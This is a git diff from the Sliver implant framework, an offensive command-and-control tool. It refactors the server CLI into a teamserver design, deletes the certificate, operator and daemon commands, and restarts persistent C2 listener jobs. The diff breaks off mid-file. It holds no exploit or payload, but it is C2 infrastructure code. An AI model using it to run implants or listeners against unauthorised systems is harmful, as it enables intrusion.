diff --git a/server/certs/certs_test.go b/server/certs/certs_test.go
deleted file mode 100644
index d2c8034dd1..0000000000
--- a/server/certs/certs_test.go
+++ /dev/null
@@ -1,44 +0,0 @@
-package certs
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "testing"
-)
-
-func TestOperatorGenerateCertificate(t *testing.T) {
- GenerateCertificateAuthority(OperatorCA, "")
- cert1, key1, err := OperatorClientGenerateCertificate("test3")
- if err != nil {
- t.Errorf("Failed to store ecc certificate %v", err)
- return
- }
-
- cert2, key2, err := OperatorClientGetCertificate("test3")
- if err != nil {
- t.Errorf("Failed to get ecc certificate %v", err)
- return
- }
-
- if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) {
- t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2)
- return
- }
-}
diff --git a/server/certs/operators.go b/server/certs/operators.go
index aa91d1b501..591c4319a6 100644
--- a/server/certs/operators.go
+++ b/server/certs/operators.go
@@ -17,78 +17,3 @@ package certs
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
-
-import (
- "crypto/x509"
- "encoding/pem"
- "fmt"
-
- "github.com/bishopfox/sliver/server/db"
- "github.com/bishopfox/sliver/server/db/models"
-)
-
-const (
- // OperatorCA - Directory containing operator certificates
- OperatorCA = "operator"
-
- clientNamespace = "client" // Operator clients
- serverNamespace = "server" // Operator servers
-)
-
-// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
-func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
- cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
- err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
- return cert, key, err
-}
-
-// OperatorClientGetCertificate - Helper function to fetch a client cert
-func OperatorClientGetCertificate(operator string) ([]byte, []byte, error) {
- return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", clientNamespace, operator))
-}
-
-// OperatorClientRemoveCertificate - Helper function to remove a client cert
-func OperatorClientRemoveCertificate(operator string) error {
- return RemoveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator))
-}
-
-// OperatorServerGetCertificate - Helper function to fetch a server cert
-func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
- return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", serverNamespace, hostname))
-}
-
-// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
-func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
- cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
- err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
- return cert, key, err
-}
-
-// OperatorClientListCertificates - Get all client certificates
-func OperatorClientListCertificates() []*x509.Certificate {
- operatorCerts := []*models.Certificate{}
- dbSession := db.Session()
- result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
- if result.Error != nil {
- certsLog.Error(result.Error)
- return []*x509.Certificate{}
- }
-
- certsLog.Infof("Found %d operator certs ...", len(operatorCerts))
-
- certs := []*x509.Certificate{}
- for _, operator := range operatorCerts {
- block, _ := pem.Decode([]byte(operator.CertificatePEM))
- if block == nil {
- certsLog.Warn("failed to parse certificate PEM")
- continue
- }
- cert, err := x509.ParseCertificate(block.Bytes)
- if err != nil {
- certsLog.Warnf("failed to parse x.509 certificate %v", err)
- continue
- }
- certs = append(certs, cert)
- }
- return certs
-}
diff --git a/server/cli/certs.go b/server/cli/certs.go
deleted file mode 100644
index c334d23934..0000000000
--- a/server/cli/certs.go
+++ /dev/null
@@ -1,155 +0,0 @@
-package cli
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "encoding/json"
- "fmt"
- "os"
- "path/filepath"
- "strings"
-
- "github.com/bishopfox/sliver/server/certs"
- "github.com/spf13/cobra"
-)
-
-var (
- // CATypes - CA types
- CATypes = map[string]string{
- "operator": certs.OperatorCA,
- "mtls": certs.MtlsImplantCA,
- "https": certs.HTTPSCA,
- }
-)
-
-// CA - Exported CA format
-type CA struct {
- Certificate string `json:"certificate"`
- PrivateKey string `json:"private_key"`
-}
-
-func validCATypes() []string {
- types := []string{}
- for caType := range CATypes {
- types = append(types, caType)
- }
- return types
-}
-
-var cmdImportCA = &cobra.Command{
- Use: "import-ca",
- Short: "Import certificate authority",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- caType, err := cmd.Flags().GetString(caTypeFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err)
- os.Exit(1)
- }
- ca, ok := CATypes[caType]
- if !ok {
- CAs := strings.Join(validCATypes(), ", ")
- fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs)
- os.Exit(1)
- }
-
- load, err := cmd.Flags().GetString(loadFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err)
- os.Exit(1)
- }
- fi, err := os.Stat(load)
- if os.IsNotExist(err) || fi.IsDir() {
- fmt.Printf("Cannot load file %s\n", load)
- os.Exit(1)
- }
-
- data, err := os.ReadFile(load)
- if err != nil {
- fmt.Printf("Cannot read file %s", err)
- os.Exit(1)
- }
-
- importCA := &CA{}
- err = json.Unmarshal(data, importCA)
- if err != nil {
- fmt.Printf("Failed to parse file %s", err)
- os.Exit(1)
- }
- cert := []byte(importCA.Certificate)
- key := []byte(importCA.PrivateKey)
- certs.SaveCertificateAuthority(ca, cert, key)
- },
-}
-
-var cmdExportCA = &cobra.Command{
- Use: "export-ca",
- Short: "Export certificate authority",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- caType, err := cmd.Flags().GetString(caTypeFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err)
- os.Exit(1)
- }
- ca, ok := CATypes[caType]
- if !ok {
- CAs := strings.Join(validCATypes(), ", ")
- fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs)
- os.Exit(1)
- }
-
- save, err := cmd.Flags().GetString(saveFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err)
- os.Exit(1)
- }
- if save == "" {
- save, _ = os.Getwd()
- }
-
- certs.SetupCAs()
- certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca)
- if err != nil {
- fmt.Printf("Error reading CA %s\n", err)
- os.Exit(1)
- }
- exportedCA := &CA{
- Certificate: string(certificateData),
- PrivateKey: string(privateKeyData),
- }
-
- saveTo, _ := filepath.Abs(save)
- fi, err := os.Stat(saveTo)
- if !os.IsNotExist(err) && !fi.IsDir() {
- fmt.Printf("File already exists: %s\n", err)
- os.Exit(1)
- }
- if !os.IsNotExist(err) && fi.IsDir() {
- filename := fmt.Sprintf("%s.ca", filepath.Base(caType))
- saveTo = filepath.Join(saveTo, filename)
- }
- data, _ := json.Marshal(exportedCA)
- err = os.WriteFile(saveTo, data, 0600)
- if err != nil {
- fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
- os.Exit(1)
- }
- },
-}
diff --git a/server/cli/cli.go b/server/cli/cli.go
index 30e70e08f9..041021c721 100644
--- a/server/cli/cli.go
+++ b/server/cli/cli.go
@@ -19,140 +19,171 @@ package cli
*/
import (
- "fmt"
- "log"
"os"
- "path/filepath"
- "runtime/debug"
- "strings"
+ // CLI dependencies
+ "github.com/rsteube/carapace"
"github.com/spf13/cobra"
+ // Teamserver/teamclient dependencies
+ "github.com/reeflective/team/server"
+
+ // Sliver Client core, and generic/server-only commands
+ clientCommand "github.com/bishopfox/sliver/client/command"
+ consoleCmd "github.com/bishopfox/sliver/client/command/console"
+ client "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/server/command"
+ "github.com/bishopfox/sliver/server/encoders"
+ "github.com/bishopfox/sliver/server/transport"
+
+ // Server-only imports
"github.com/bishopfox/sliver/server/assets"
- "github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/certs"
- "github.com/bishopfox/sliver/server/configs"
- "github.com/bishopfox/sliver/server/console"
"github.com/bishopfox/sliver/server/cryptography"
- "github.com/bishopfox/sliver/server/daemon"
- "github.com/bishopfox/sliver/server/db"
)
-const (
-
- // Unpack flags
- forceFlagStr = "force"
-
- // Operator flags
- nameFlagStr = "name"
- lhostFlagStr = "lhost"
- lportFlagStr = "lport"
- saveFlagStr = "save"
- permissionsFlagStr = "permissions"
-
- // Cert flags
- caTypeFlagStr = "type"
- loadFlagStr = "load"
-
- // console log file name
- logFileName = "console.log"
-)
+// Execute the sliver server binary.
+func Execute() {
+ // Create a new Sliver Teamserver: the latter is able to serve all remote
+ // clients for its users, over any of the available transport stacks (MTLS/TS.
+ // Persistent teamserver client listeners are not started by default.
+ teamserver, opts, err := transport.NewTeamserver()
+ if err != nil {
+ panic(err)
+ }
-// Initialize logging
-func initConsoleLogging(appDir string) *os.File {
- log.SetFlags(log.LstdFlags | log.Lshortfile)
- logFile, err := os.OpenFile(filepath.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
+ // Use the specific set of dialing options passed by the teamserver,
+ // and use them to create an in-memory sliver teamclient, identical
+ // in behavior to remote ones.
+ // The client has no commands available yet.
+ con, err := client.NewSliverClient(opts...)
if err != nil {
- log.Fatalf("Error opening file: %v", err)
+ panic(err)
}
- log.SetOutput(logFile)
- return logFile
-}
-func init() {
- // Unpack
- unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite")
- rootCmd.AddCommand(unpackCmd)
-
- // Operator
- operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name")
- operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host")
- operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port")
- operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...")
- operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)")
- rootCmd.AddCommand(operatorCmd)
-
- // Certs
- cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...")
- cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", ")))
- rootCmd.AddCommand(cmdExportCA)
-
- cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...")
- cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", ")))
- rootCmd.AddCommand(cmdImportCA)
-
- // Daemon
- daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host")
- daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port")
- daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets")
- rootCmd.AddCommand(daemonCmd)
-
- // Builder
- rootCmd.AddCommand(initBuilderCmd())
-
- // Version
- rootCmd.AddCommand(versionCmd)
+ // Generate our complete Sliver Framework command-line interface.
+ rootCmd := sliverServerCLI(teamserver, con)
+
+ // Run the target Sliver command:
+ // Three different examples here, to illustrate.
+ //
+ // - `sliver generate --os linux` starts the server, ensuring assets are unpacked, etc.
+ // Once ready, the generate command is executed (from the client, passed to the server
+ // via the in-memory RPC, and executed, compiled, then returned to the client).
+ // When the binary exits, an implant is compiled and available client-side (locally here).
+ //
+ // - `sliver console` starts the console, and everything works like it ever did.
+ // On top of that, you can access and use the entire `teamserver` control commands to
+ // start/close/delete client listeners, create/delete users, manage CAs, show status, etc.
+ //
+ // - `sliver teamserver serve` is a teamserver-tree specific command, and the teamserver
+ // set above in the code has been given a single hook to register its RPC backend.
+ // The call blocks like your old daemon command, and works _just the same_.
+ if err := rootCmd.Execute(); err != nil {
+ os.Exit(1)
+ }
}
-var rootCmd = &cobra.Command{
- Use: "sliver-server",
- Short: "",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- // Root command starts the server normally
-
- appDir := assets.GetRootAppDir()
- logFile := initConsoleLogging(appDir)
- defer logFile.Close()
-
- defer func() {
- if r := recover(); r != nil {
- log.Printf("panic:\n%s", debug.Stack())
- fmt.Println("stacktrace from panic: \n" + string(debug.Stack()))
- os.Exit(99)
- }
- }()
+// sliverServerCLI returns the entire command tree of the Sliver Framework as yielder functions.
+// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped with
+// all prerunners needed to connect to remote Sliver teamservers.
+// It will also register the appropriate teamclient management commands.
+//
+// Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here).
+func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command) {
+ teamserverCmds := command.TeamserverCommands(team, con)
+
+ // Generate a single tree instance of server commands:
+ // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with
+ // a pre-runner ensuring the server and its teamclient are set up and connected.
+ server := clientCommand.ServerCommands(con, teamserverCmds)
+
+ root = server()
+ root.Use = "sliver-server" // Needed by completion scripts.
+ con.IsServer = true
+
+ // Bind the closed-loop console:
+ // The console shares the same setup/connection pre-runners as other commands,
+ // but the command yielders we pass as arguments don't: this is because we only
+ // need one connection for the entire lifetime of the console.
+ root.AddCommand(consoleCmd.Command(con, server))
+
+ // The server is also a client of itself, so add our sliver-server
+ // binary specific pre-run hooks: assets, encoders, toolchains, etc.
+ con.AddPreRuns(preRunServerS(team, con))
+
+ // Pre/post runners and completions.
+ clientCommand.BindPreRun(root, con.PreRunConnect)
+ clientCommand.BindPostRun(root, con.PostRunDisconnect)
+
+ // Generate the root completion command.
+ carapace.Gen(root)
+
+ return root
+}
+func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCommand.CobraRunnerE {
+ return func(cmd *cobra.Command, args []string) error {
+ // All commands of the teamserver binary
+ // must always have at least these working.
assets.Setup(false, true)
+ encoders.Setup()
certs.SetupCAs()
certs.SetupWGKeys()
cryptography.AgeServerKeyPair()
cryptography.MinisignServerPrivateKey()
- c2.SetupDefaultC2Profiles()
-
- serverConfig := configs.GetServerConfig()
- listenerJobs, err := db.ListenerJobs()
- if err != nil {
- fmt.Println(err)
- }
-
- err = StartPersistentJobs(listenerJobs)
- if err != nil {
- fmt.Println(err)
- }
- if serverConfig.DaemonMode {
- daemon.Start(daemon.BlankHost, daemon.BlankPort)
- } else {
- os.Args = os.Args[:1] // Hide cli from grumble console
- console.Start()
- }
- },
-}
-// Execute - Execute root command
-func Execute() {
- if err := rootCmd.Execute(); err != nil {
- fmt.Println(err)
- os.Exit(1)
+ // But we don't start Sliver-specific C2 listeners unless
+ // we are being ran in daemon mode, or in the console.
+ // We don't always have access to a command, such when
+ // if cmd != nil {
+ // if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") ||
+ // cmd.Name() == "console" {
+ // serverConfig := configs.GetServerConfig()
+ // err := c2.StartPersistentJobs(serverConfig)
+ // if err != nil {
+ // con.PrintWarnf("Persistent jobs restart error: %s", err)
+ // }
+ // }
+ // }
+ // Let our in-memory teamclient be served.
+ return teamserver.Serve(con.Teamclient)
}
}
+
+// preRunServer is the server-binary-specific pre-run; it ensures that the server
+// has everything it needs to perform any client-side command/task.
+// func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error {
+// return func() error {
+// // Ensure the server has what it needs.
+// assets.Setup(false, true)
+// encoders.Setup()
+// certs.SetupCAs()
+// certs.SetupWGKeys()
+// cryptography.AgeServerKeyPair()
+// cryptography.MinisignServerPrivateKey()
+//
+// // TODO: Move this out of here.
+// serverConfig := configs.GetServerConfig()
+// c2.StartPersistentJobs(serverConfig)
+//
+// // Let our in-memory teamclient be served.
+// return teamserver.Serve(con.Teamclient)
+// }
+// }
+
+// preRun := func(cmd *cobra.Command, _ []string) error {
+//
+// // Start persistent implant/c2 jobs (not teamservers)
+// // serverConfig := configs.GetServerConfig()
+// // c2.StartPersistentJobs(serverConfig)
+//
+// // Only start the teamservers when the console being
+// // ran is the console itself: the daemon command will
+// // start them on its own, since the config is different.
+// // if cmd.Name() == "console" {
+// // teamserver.ListenerStartPersistents() // Automatically logged errors.
+// // // console.StartPersistentJobs(serverConfig) // Old alternative
+// // }
+// return nil
+// }
diff --git a/server/cli/daemon.go b/server/cli/daemon.go
deleted file mode 100644
index b8cc71c326..0000000000
--- a/server/cli/daemon.go
+++ /dev/null
@@ -1,125 +0,0 @@
-package cli
-
-import (
- "fmt"
- "log"
- "os"
- "runtime/debug"
-
- "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/server/assets"
- "github.com/bishopfox/sliver/server/c2"
- "github.com/bishopfox/sliver/server/certs"
- "github.com/bishopfox/sliver/server/console"
- "github.com/bishopfox/sliver/server/cryptography"
- "github.com/bishopfox/sliver/server/daemon"
- "github.com/bishopfox/sliver/server/db"
- "github.com/spf13/cobra"
-)
-
-var daemonCmd = &cobra.Command{
- Use: "daemon",
- Short: "Force start server in daemon mode",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- force, err := cmd.Flags().GetBool(forceFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err)
- return
- }
- lhost, err := cmd.Flags().GetString(lhostFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", lhostFlagStr, err)
- return
- }
- lport, err := cmd.Flags().GetUint16(lportFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", lportFlagStr, err)
- return
- }
-
- appDir := assets.GetRootAppDir()
- logFile := initConsoleLogging(appDir)
- defer logFile.Close()
-
- defer func() {
- if r := recover(); r != nil {
- log.Printf("panic:\n%s", debug.Stack())
- fmt.Println("stacktrace from panic: \n" + string(debug.Stack()))
- os.Exit(99)
- }
- }()
-
- assets.Setup(force, false)
- certs.SetupCAs()
- certs.SetupWGKeys()
- cryptography.AgeServerKeyPair()
- cryptography.MinisignServerPrivateKey()
-
- listenerJobs, err := db.ListenerJobs()
- if err != nil {
- fmt.Println(err)
- }
-
- err = StartPersistentJobs(listenerJobs)
- if err != nil {
- fmt.Println(err)
- }
-
- daemon.Start(lhost, uint16(lport))
- },
-}
-
-func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
- if len(listenerJobs) > 0 {
- // StartPersistentJobs - Start persistent jobs
- for _, j := range listenerJobs {
- listenerJob, err := db.ListenerByJobID(j.JobID)
- if err != nil {
- return err
- }
- switch j.Type {
- case constants.HttpStr:
- job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(job.ID)
- case constants.HttpsStr:
- job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(job.ID)
- case constants.MtlsStr:
- job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(job.ID)
- case constants.WGStr:
- job, err := c2.StartWGListenerJob(listenerJob.WGConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(job.ID)
- case constants.DnsStr:
- job, err := c2.StartDNSListenerJob(listenerJob.DNSConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(job.ID)
- case constants.MultiplayerModeStr:
- id, err := console.JobStartClientListener(listenerJob.MultiConf)
- if err != nil {
- return err
- }
- j.JobID = uint32(id)
- }
- db.UpdateHTTPC2Listener(j)
- }
- }
-
- return nil
-}
diff --git a/server/cli/operator.go b/server/cli/operator.go
deleted file mode 100644
index 1640203d92..0000000000
--- a/server/cli/operator.go
+++ /dev/null
@@ -1,104 +0,0 @@
-package cli
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "fmt"
- "os"
- "path/filepath"
-
- "github.com/bishopfox/sliver/server/certs"
- "github.com/bishopfox/sliver/server/console"
- "github.com/spf13/cobra"
-)
-
-var operatorCmd = &cobra.Command{
- Use: "operator",
- Short: "Generate operator configuration files",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- name, err := cmd.Flags().GetString(nameFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", nameFlagStr, err)
- return
- }
- if name == "" {
- fmt.Printf("Must specify --%s", nameFlagStr)
- return
- }
-
- lhost, err := cmd.Flags().GetString(lhostFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", lhostFlagStr, err)
- return
- }
- if lhost == "" {
- fmt.Printf("Must specify --%s", lhostFlagStr)
- return
- }
-
- lport, err := cmd.Flags().GetUint16(lportFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", lportFlagStr, err)
- return
- }
-
- save, err := cmd.Flags().GetString(saveFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", saveFlagStr, err)
- return
- }
- if save == "" {
- save, _ = os.Getwd()
- }
-
- permissions, err := cmd.Flags().GetStringSlice(permissionsFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s", permissionsFlagStr, err)
- return
- }
- if len(permissions) == 0 {
- fmt.Printf("Must specify --%s", permissionsFlagStr)
- return
- }
-
- certs.SetupCAs()
- configJSON, err := console.NewOperatorConfig(name, lhost, lport, permissions)
- if err != nil {
- fmt.Printf("Failed: %s\n", err)
- return
- }
-
- saveTo, _ := filepath.Abs(save)
- fi, err := os.Stat(saveTo)
- if !os.IsNotExist(err) && !fi.IsDir() {
- fmt.Printf("File already exists: %s\n", err)
- return
- }
- if !os.IsNotExist(err) && fi.IsDir() {
- filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
- saveTo = filepath.Join(saveTo, filename)
- }
- err = os.WriteFile(saveTo, configJSON, 0600)
- if err != nil {
- fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
- return
- }
- },
-}
diff --git a/server/cli/unpack.go b/server/command/assets/unpack.go
similarity index 53%
rename from server/cli/unpack.go
rename to server/command/assets/unpack.go
index e6b72fd558..09ff9f3a2b 100644
--- a/server/cli/unpack.go
+++ b/server/command/assets/unpack.go
@@ -1,4 +1,4 @@
-package cli
+package assets
/*
Sliver Implant Framework
@@ -21,22 +21,36 @@ package cli
import (
"fmt"
- "github.com/bishopfox/sliver/server/assets"
"github.com/spf13/cobra"
-)
-var unpackCmd = &cobra.Command{
- Use: "unpack",
- Short: "Unpack assets and exit",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
+ "github.com/bishopfox/sliver/server/assets"
+ "github.com/bishopfox/sliver/server/msf"
+)
- force, err := cmd.Flags().GetBool(forceFlagStr)
- if err != nil {
- fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err)
- return
- }
+const (
+ // Unpack flags
+ forceFlagStr = "force"
+)
- assets.Setup(force, true)
- },
+// Commands returns all commands for Sliver assets management.
+func Commands() []*cobra.Command {
+ unpackCmd := &cobra.Command{
+ Use: "unpack",
+ Short: "Unpack assets and exit",
+ Long: ``,
+ Run: func(cmd *cobra.Command, args []string) {
+ force, err := cmd.Flags().GetBool(forceFlagStr)
+ if err != nil {
+ fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err)
+ return
+ }
+
+ assets.Setup(force, true)
+ msf.CacheModules()
+ },
+ }
+
+ unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite")
+
+ return []*cobra.Command{unpackCmd}
}
diff --git a/server/cli/builder.go b/server/command/builder/builder.go
similarity index 53%
rename from server/cli/builder.go
rename to server/command/builder/builder.go
index 80037adb94..f6177fb51f 100644
--- a/server/cli/builder.go
+++ b/server/command/builder/builder.go
@@ -1,4 +1,4 @@
-package cli
+package builder
/*
Sliver Implant Framework
@@ -25,21 +25,29 @@ import (
"runtime/debug"
"strings"
- clientAssets "github.com/bishopfox/sliver/client/assets"
+ "github.com/rsteube/carapace"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/client/commands"
+ "github.com/reeflective/team/server"
+
+ "github.com/bishopfox/sliver/client/command/completers"
+ "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
+ "github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/builder"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
- "github.com/spf13/cobra"
)
-var (
- builderLog = log.NamedLogger("cli", "builder")
-)
+var builderLog = log.NamedLogger("cli", "builder")
const (
+ nameFlagStr = "name"
+
enableTargetFlagStr = "enable-target"
disableTargetFlagStr = "disable-target"
@@ -48,7 +56,17 @@ const (
logLevelFlagStr = "log-level"
)
-func initBuilderCmd() *cobra.Command {
+// Commands returns all commands for using Sliver as a builder backend.
+func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command {
+ builderCmd := &cobra.Command{
+ Use: "builder",
+ Short: "Start the process as an external builder",
+ Long: ``,
+ Run: func(cmd *cobra.Command, args []string) {
+ runBuilderCmd(cmd, args, team, con)
+ },
+ }
+
builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)")
builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace")
builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path")
@@ -58,77 +76,55 @@ func initBuilderCmd() *cobra.Command {
builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch")
builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch")
- return builderCmd
-}
-
-var builderCmd = &cobra.Command{
- Use: "builder",
- Short: "Start the process as an external builder",
- Long: ``,
- Run: func(cmd *cobra.Command, args []string) {
- configPath, err := cmd.Flags().GetString(operatorConfigFlagStr)
- if err != nil {
- builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err)
- return
- }
- if configPath == "" {
- builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr)
- return
- }
+ completers.NewFlagCompsFor(builderCmd, func(comp *carapace.ActionMap) {
+ (*comp)["enable-target"] = builderFormatsCompleter()
+ (*comp)["disable-target"] = builderFormatsCompleter()
+ (*comp)["config"] = commands.ConfigsAppCompleter(con.Teamclient, "detected Sliver configs")
+ })
- quiet, err := cmd.Flags().GetBool(quietFlagStr)
- if err != nil {
- builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err)
- }
- if !quiet {
- log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName))
- }
- builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion())
+ return []*cobra.Command{builderCmd}
+}
- level, err := cmd.Flags().GetInt(logLevelFlagStr)
- if err != nil {
- builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err)
- return
- }
- log.RootLogger.SetLevel(log.LevelFrom(level))
+func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server, con *console.SliverClient) error {
+ configPath, err := cmd.Flags().GetString(operatorConfigFlagStr)
+ if err != nil {
+ builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err)
+ return nil
+ }
+ if configPath == "" {
+ builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr)
+ return nil
+ }
- defer func() {
- if r := recover(); r != nil {
- builderLog.Printf("panic:\n%s", debug.Stack())
- builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack()))
- os.Exit(99)
- }
- }()
+ quiet, err := cmd.Flags().GetBool(quietFlagStr)
+ if err != nil {
+ builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err)
+ }
+ if !quiet {
+ log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName))
+ }
+ builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion())
- externalBuilder := parseBuilderConfigFlags(cmd)
- externalBuilder.Templates = []string{"sliver"}
+ level, err := cmd.Flags().GetInt(logLevelFlagStr)
+ if err != nil {
+ builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err)
+ return nil
+ }
+ log.RootLogger.SetLevel(log.LevelFrom(level))
- // load the client configuration from the filesystem
- config, err := clientAssets.ReadConfig(configPath)
- if err != nil {
